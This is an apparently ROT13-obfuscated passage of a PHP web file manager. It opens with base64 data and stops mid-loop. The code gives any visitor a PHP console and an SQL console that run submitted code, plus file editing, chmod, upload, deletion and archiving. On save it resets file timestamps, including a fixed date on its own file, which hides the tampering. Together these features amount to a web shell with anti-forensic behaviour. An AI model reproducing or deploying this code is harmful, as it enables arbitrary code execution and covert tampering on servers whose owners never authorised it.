WOe9r7T4LukJFPESU902dIMqaLk3S8QVDJVZfl1cVRKkFbZsIW50SrQXHepTpjNIPNAR1cgIdbXddXZno+eiMuiZoa1l/jt6qVgVnVNTNOGx5BFWVR9E4NRHSIpp7ICs92jCogyUm3PEg+wdcFB2v328EkKAgruLtVceKB+BAmey3+tgRNRJ0PufZuJML17y5QwBK00khh7bm5RG3xHzrwOgrNGdqQUZrjRX9PCQN/sZIf6kno23gaVi2Ut/S43Wl494tATU54FssTOdsew0ynF3UQDMdzuTTVJ8EJkssa+Qi251g+gr/E3rauRHFJIDATbkS5ahAKkXXTejsiPUoi4X88jzvW6aXjwEvwXZVLDmzsV4ibEVDv3hM39m5oz50mnUKd4i41LQdqttuFybumNZlzBqqi7zTZHWMyV9MdjR0Udbv1S15uWIegPkr+NxtLutGJVfMtbttEjIc7LJPelkvwSJNlTNlrVIXbplYJ1b+b6hpY8Uzrm4QkK+8qNYT7ZrIHNNNNNRySGxFhDzPP");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
